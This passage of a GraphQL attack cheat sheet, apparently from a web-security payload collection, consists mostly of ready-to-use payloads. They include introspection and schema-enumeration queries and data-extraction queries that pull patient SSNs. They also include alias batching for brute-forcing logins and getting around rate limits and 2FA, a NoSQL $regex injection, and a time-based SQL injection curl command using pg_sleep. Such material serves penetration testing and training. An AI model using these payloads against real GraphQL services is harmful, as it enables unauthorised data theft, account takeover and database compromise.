</span><span class="nx">description</span><span class="w"> </span><span class="nx">args</span><span class="p">{...</span><span class="nx">InputValue</span><span class="p">}</span><span class="nx">type</span><span class="p">{...</span><span class="nx">TypeRef</span><span class="p">}</span><span class="nx">isDeprecated</span><span class="w"> </span><span class="nx">deprecationReason</span><span class="p">}</span><span class="nx">inputFields</span><span class="p">{...</span><span class="nx">InputValue</span><span class="p">}</span><span class="nx">interfaces</span><span class="p">{...</span><span class="nx">TypeRef</span><span class="p">}</span><span class="nx">enumValues</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">:</span><span class="kc">true</span><span class="p">){</span><span class="nx">name</span><span class="w"> </span><span class="nx">description</span><span class="w"> </span><span class="nx">isDeprecated</span><span class="w"> </span><span class="nx">deprecationReason</span><span class="p">}</span><span class="nx">possibleTypes</span><span class="p">{...</span><span class="nx">TypeRef</span><span class="p">}}</span><span class="nx">fragment</span><span class="w"> </span><span class="nx">InputValue</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">__InputValue</span><span class="p">{</span><span class="nx">name</span><span class="w"> </span><span class="nx">description</span><span class="w"> </span><span class="nx">type</span><span class="p">{...</span><span class="nx">TypeRef</span><span class="p">}</span><span class="nx">defaultValue</span><span class="p">}</span><span class="nx">fragment</span><span class="w"> </span><span class="nx">TypeRef</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">__Type</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="p">}}}}}}}}</span>
</code></pre></div>
<h3 id="enumerate-database-schema-via-suggestions">Enumerate Database Schema via Suggestions</h3>
<p>When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="p">{</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="w"> </span><span class="nt">&quot;message&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;Cannot query field \&quot;one\&quot; on type \&quot;Query\&quot;. Did you mean \&quot;node\&quot;?&quot;</span><span class="p">,</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="p">}</span>
</code></pre></div>
<p>You can also try to bruteforce known keywords, field and type names using wordlists such as <a href="https://github.com/Escape-Technologies/graphql-wordlist">Escape-Technologies/graphql-wordlist</a> when the schema of a GraphQL API is not accessible.</p>
<h3 id="enumerate-types-definition">Enumerate Types Definition</h3>
<p>Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="p">{</span><span class="nx">__type</span><span class="w"> </span><span class="p">(</span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;User&quot;</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="nx">name</span><span class="w"> </span><span class="nx">fields</span><span class="p">{</span><span class="nx">name</span><span class="w"> </span><span class="nx">type</span><span class="p">{</span><span class="nx">name</span><span class="w"> </span><span class="nx">kind</span><span class="w"> </span><span class="nx">ofType</span><span class="p">{</span><span class="nx">name</span><span class="w"> </span><span class="nx">kind</span><span class="p">}}}}}</span>
</code></pre></div>
<h3 id="list-path-to-reach-a-type">List Path To Reach A Type</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="x">$ git clone https://gitlab.com/dee-see/graphql-path-enum</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="x">$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="x">Found 27 ways to reach the &quot;Skill&quot; node from the &quot;Query&quot; node:</span>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a><span class="x">- Query (assignable_teams) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="x">- Query (checklist_check) -&gt; ChecklistCheck (checklist) -&gt; Checklist (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a><span class="x">- Query (checklist_check_response) -&gt; ChecklistCheckResponse (checklist_check) -&gt; ChecklistCheck (checklist) -&gt; Checklist (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a><span class="x">- Query (checklist_checks) -&gt; ChecklistCheck (checklist) -&gt; Checklist (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a><span class="x">- Query (clusters) -&gt; Cluster (weaknesses) -&gt; Weakness (critical_reports) -&gt; TeamMemberGroupConnection (edges) -&gt; TeamMemberGroupEdge (node) -&gt; TeamMemberGroup (team_members) -&gt; TeamMember (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a><span class="x">- Query (embedded_submission_form) -&gt; EmbeddedSubmissionForm (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-10" name="__codelineno-9-10" href="#__codelineno-9-10"></a><span class="x">- Query (external_program) -&gt; ExternalProgram (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-11" name="__codelineno-9-11" href="#__codelineno-9-11"></a><span class="x">- Query (external_programs) -&gt; ExternalProgram (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-12" name="__codelineno-9-12" href="#__codelineno-9-12"></a><span class="x">- Query (job_listing) -&gt; JobListing (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-13" name="__codelineno-9-13" href="#__codelineno-9-13"></a><span class="x">- Query (job_listings) -&gt; JobListing (team) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-14" name="__codelineno-9-14" href="#__codelineno-9-14"></a><span class="x">- Query (me) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-15" name="__codelineno-9-15" href="#__codelineno-9-15"></a><span class="x">- Query (pentest) -&gt; Pentest (lead_pentester) -&gt; Pentester (user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-16" name="__codelineno-9-16" href="#__codelineno-9-16"></a><span class="x">- Query (pentests) -&gt; Pentest (lead_pentester) -&gt; Pentester (user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-17" name="__codelineno-9-17" href="#__codelineno-9-17"></a><span class="x">- Query (query) -&gt; Query (assignable_teams) -&gt; Team (audit_log_items) -&gt; AuditLogItem (source_user) -&gt; User (pentester_profile) -&gt; PentesterProfile (skills) -&gt; Skill</span>
<a id="__codelineno-9-18" name="__codelineno-9-18" href="#__codelineno-9-18"></a><span class="x">- Query (query) -&gt; Query (skills) -&gt; Skill</span>
</code></pre></div>
<h2 id="methodology">Methodology</h2>
<h3 id="extract-data">Extract Data</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="nx">example</span><span class="p">.</span><span class="nx">com</span><span class="o">/</span><span class="nx">graphql</span><span class="o">?</span><span class="nx">query</span><span class="o">=</span><span class="p">{</span><span class="nx">TYPE_1</span><span class="p">{</span><span class="nx">FIELD_1</span><span class="p">,</span><span class="nx">FIELD_2</span><span class="p">}}</span>
</code></pre></div>
<p><img alt="HTB Help - GraphQL injection" src="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true" /></p>
<h3 id="extract-data-using-edgesnodes">Extract Data Using Edges/Nodes</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">{</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="w"> </span><span class="nt">&quot;query&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;query {</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="s2"> teams{</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="s2"> total_count,edges{</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="s2"> node{</span>
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a><span class="s2"> id,_id,about,handle,state</span>
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a><span class="s2"> }</span>
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a><span class="s2"> }</span>
<a id="__codelineno-11-9" name="__codelineno-11-9" href="#__codelineno-11-9"></a><span class="s2"> }</span>
<a id="__codelineno-11-10" name="__codelineno-11-10" href="#__codelineno-11-10"></a><span class="s2"> }&quot;</span>
<a id="__codelineno-11-11" name="__codelineno-11-11" href="#__codelineno-11-11"></a><span class="p">}</span><span class="w"> </span>
</code></pre></div>
<h3 id="extract-data-using-projections">Extract Data Using Projections</h3>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Don’t forget to escape the " inside the <strong>options</strong>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="p">{</span><span class="nx">doctors</span><span class="p">(</span><span class="nx">options</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;{\&quot;patients.ssn\&quot; :1}&quot;</span><span class="p">){</span><span class="nx">firstName</span><span class="w"> </span><span class="nx">lastName</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="nx">patients</span><span class="p">{</span><span class="nx">ssn</span><span class="p">}}}</span>
</code></pre></div>
<h3 id="mutations">Mutations</h3>
<p>Mutations work like function, you can use them to interact with the GraphQL.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="err">#</span><span class="w"> </span><span class="nx">mutation</span><span class="p">{</span><span class="nx">signIn</span><span class="p">(</span><span class="nx">login</span><span class="o">:</span><span class="s2">&quot;Admin&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">password</span><span class="o">:</span><span class="s2">&quot;secretp@ssw0rd&quot;</span><span class="p">){</span><span class="nx">token</span><span class="p">}}</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="err">#</span><span class="w"> </span><span class="nx">mutation</span><span class="p">{</span><span class="nx">addUser</span><span class="p">(</span><span class="nx">id</span><span class="o">:</span><span class="s2">&quot;1&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="s2">&quot;Dan Abramov&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">email</span><span class="o">:</span><span class="s2">&quot;dan@dan.com&quot;</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="nx">id</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">email</span><span class="p">}}</span>
</code></pre></div>
<h3 id="graphql-batching-attacks">GraphQL Batching Attacks</h3>
<p>Common scenario:
* Password Brute-force Amplification Scenario
* Rate Limit bypass
* 2FA bypassing</p>
<h4 id="json-list-based-batching">JSON List Based Batching</h4>
<blockquote>
<p>Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.</p>
</blockquote>
<p>Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">[</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="w"> </span><span class="nt">&quot;query&quot;</span><span class="p">:</span><span class="s2">&quot;...&quot;</span>
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="w"> </span><span class="p">},{</span>
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a><span class="w"> </span><span class="nt">&quot;query&quot;</span><span class="p">:</span><span class="s2">&quot;...&quot;</span>
<a id="__codelineno-14-6" name="__codelineno-14-6" href="#__codelineno-14-6"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-14-7" name="__codelineno-14-7" href="#__codelineno-14-7"></a><span class="w"> </span><span class="p">,{</span>
<a id="__codelineno-14-8" name="__codelineno-14-8" href="#__codelineno-14-8"></a><span class="w"> </span><span class="nt">&quot;query&quot;</span><span class="p">:</span><span class="s2">&quot;...&quot;</span>
<a id="__codelineno-14-9" name="__codelineno-14-9" href="#__codelineno-14-9"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-14-10" name="__codelineno-14-10" href="#__codelineno-14-10"></a><span class="w"> </span><span class="p">,{</span>
<a id="__codelineno-14-11" name="__codelineno-14-11" href="#__codelineno-14-11"></a><span class="w"> </span><span class="nt">&quot;query&quot;</span><span class="p">:</span><span class="s2">&quot;...&quot;</span>
<a id="__codelineno-14-12" name="__codelineno-14-12" href="#__codelineno-14-12"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-14-13" name="__codelineno-14-13" href="#__codelineno-14-13"></a><span class="w"> </span><span class="err">...</span>
<a id="__codelineno-14-14" name="__codelineno-14-14" href="#__codelineno-14-14"></a><span class="p">]</span>
</code></pre></div>
<h4 id="query-name-based-batching">Query Name Based Batching</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="p">{</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="w"> </span><span class="nt">&quot;query&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;query { qname: Query { field1 } qname1: Query { field1 } }&quot;</span>
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="p">}</span>
</code></pre></div>
<p>Send the same mutation several times using aliases</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="nx">mutation</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="w"> </span><span class="nx">login</span><span class="p">(</span><span class="nx">pass</span><span class="o">:</span><span class="w"> </span><span class="mf">1111</span><span class="p">,</span><span class="w"> </span><span class="nx">username</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;bob&quot;</span><span class="p">)</span>
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="w"> </span><span class="nx">second</span><span class="o">:</span><span class="w"> </span><span class="nx">login</span><span class="p">(</span><span class="nx">pass</span><span class="o">:</span><span class="w"> </span><span class="mf">2222</span><span class="p">,</span><span class="w"> </span><span class="nx">username</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;bob&quot;</span><span class="p">)</span>
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a><span class="w"> </span><span class="nx">third</span><span class="o">:</span><span class="w"> </span><span class="nx">login</span><span class="p">(</span><span class="nx">pass</span><span class="o">:</span><span class="w"> </span><span class="mf">3333</span><span class="p">,</span><span class="w"> </span><span class="nx">username</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;bob&quot;</span><span class="p">)</span>
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a><span class="w"> </span><span class="nx">fourth</span><span class="o">:</span><span class="w"> </span><span class="nx">login</span><span class="p">(</span><span class="nx">pass</span><span class="o">:</span><span class="w"> </span><span class="mf">4444</span><span class="p">,</span><span class="w"> </span><span class="nx">username</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;bob&quot;</span><span class="p">)</span>
<a id="__codelineno-16-6" name="__codelineno-16-6" href="#__codelineno-16-6"></a><span class="p">}</span>
</code></pre></div>
<h2 id="injections">Injections</h2>
<blockquote>
<p>SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.</p>
</blockquote>
<h3 id="nosql-injection">NOSQL Injection</h3>
<p>Use <code>$regex</code>, <code>$ne</code> from <a href=""></a> inside a <code>search</code> parameter.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="p">{</span>
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="w"> </span><span class="nx">doctors</span><span class="p">(</span>
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="w"> </span><span class="nx">options</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;{\&quot;limit\&quot;: 1, \&quot;patients.ssn\&quot; :1}&quot;</span><span class="p">,</span><span class="w"> </span>
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="w"> </span><span class="nx">search</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;{ \&quot;patients.ssn\&quot;: { \&quot;$regex\&quot;: \&quot;.*\&quot;}, \&quot;lastName\&quot;:\&quot;Admin\&quot; }&quot;</span><span class="p">)</span>
<a id="__codelineno-17-5" name="__codelineno-17-5" href="#__codelineno-17-5"></a><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-17-6" name="__codelineno-17-6" href="#__codelineno-17-6"></a><span class="w"> </span><span class="nx">firstName</span><span class="w"> </span><span class="nx">lastName</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="nx">patients</span><span class="p">{</span><span class="nx">ssn</span><span class="p">}</span>
<a id="__codelineno-17-7" name="__codelineno-17-7" href="#__codelineno-17-7"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-17-8" name="__codelineno-17-8" href="#__codelineno-17-8"></a><span class="p">}</span>
</code></pre></div>
<h3 id="sql-injection">SQL Injection</h3>
<p>Send a single quote <code>'</code> inside a graphql parameter to trigger the SQL injection</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="p">{</span><span class="w"> </span>
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="w"> </span><span class="nx">bacon</span><span class="p">(</span><span class="nx">id</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;1&#39;&quot;</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span>
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="w"> </span><span class="nx">id</span><span class="p">,</span><span class="w"> </span>
<a id="__codelineno-18-4" name="__codelineno-18-4" href="#__codelineno-18-4"></a><span class="w"> </span><span class="nx">type</span><span class="p">,</span><span class="w"> </span>
<a id="__codelineno-18-5" name="__codelineno-18-5" href="#__codelineno-18-5"></a><span class="w"> </span><span class="nx">price</span>
<a id="__codelineno-18-6" name="__codelineno-18-6" href="#__codelineno-18-6"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-18-7" name="__codelineno-18-7" href="#__codelineno-18-7"></a><span class="p">}</span>
</code></pre></div>
<p>Simple SQL injection inside a graphql field.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="nb">curl </span><span class="n">-X</span> <span class="n">POST</span> <span class="n">http</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">8080</span><span class="p">/</span><span class="n">graphql</span><span class="p">\</span><span class="k">?</span><span class="n">embedded_submission_form_uuid</span><span class="p">\=</span><span class="n">1</span><span class="k">%</span><span class="n">27</span><span class="k">%</span><span class="n">3BSELECT</span><span class="k">%</span><span class="n">201</span><span class="k">%</span><span class="n">3BSELECT</span><span class="k">%</span><span class="n">20pg_sleep</span><span class="p">\(</span><span class="n">30</span><span class="p">\)</span><span class="k">%</span><span class="n">3B</span><span class="p">--</span><span class="k">%</span><span class="n">27</span>
</code></pre></div>
<h2 id="labs">Labs</h2>
<ul>
<li><a href="https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts">PortSwigger - Accessing private GraphQL posts</a></li>
<li><a href="https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure">PortSwigger - Accidental exposure of private GraphQL fields</a></li>
<li><a href="https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint">PortSwigger - Finding a hidden GraphQL endpoint</a></li>
<li><a href="https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass">PortSwigger - Bypassing GraphQL brute force protections</a></li>
<li><a href="https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api">PortSwigger - Performing CSRF exploits over GraphQL</a></li>
<li><a href="https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection">Root Me - GraphQL - Introspection</a></li>
<li><a href="https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection">Root Me - GraphQL - Injection</a></li>
<li><a href="https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection">Root Me - GraphQL - Backend injection</a></li>
<li><a href="https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation">Root Me - GraphQL - Mutation</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://escape.tech/blog/graphql-security-wordlist/">Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023</a></li>
<li><a href="https://blog.assetnote.io/2021/08/29/exploiting-graphql/">Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021</a></li>
<li><a href="https://lab.wallarm.com/graphql-batching-attack/">GraphQL Batching Attack - Wallarm - December 13, 2019</a></li>
<li><a href="https://acceis.github.io/prez-graphql/">GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022</a></li>
<li><a href="https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2">API Hacking GraphQL - @ghostlulz - Jun 8, 2019</a></li>
<li><a href="https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e">Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018</a></li>
<li><a href="https://labs.detectify.com/2018/03/14/graphql-abuse/">GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018</a></li>
<li><a href="https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417">Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019</a></li>
<li><a href="https://devhints.io/graphql">GraphQL cheatsheet - devhints.io - November 7, 2018</a></li>
<li><a href="https://graphql.org/learn/introspection/">GraphQL Introspection - GraphQL - August 21, 2024</a></li>
<li><a href="http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/">GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017</a></li>
<li><a href="https://swisskyrepo.github.io/HIP19-MeetYourDoctor/">HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019</a></li>
<li><a href="https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/">How to set up a GraphQL Server using Node.js, Express &amp; MongoDB - Leonardo Maldonado - 5 November 2018</a></li>
<li><a href="https://graphql.org/learn/">Introduction to GraphQL - GraphQL - November 1, 2024</a></li>
<li><a href="https://hackerone.com/reports/291531">Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017</a></li>
<li><a href="https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/">Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017</a></li>
<li><a href="https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b">Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018</a></li>
<li><a href="https://hackerone.com/reports/435066">SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018</a></li>
</ul>
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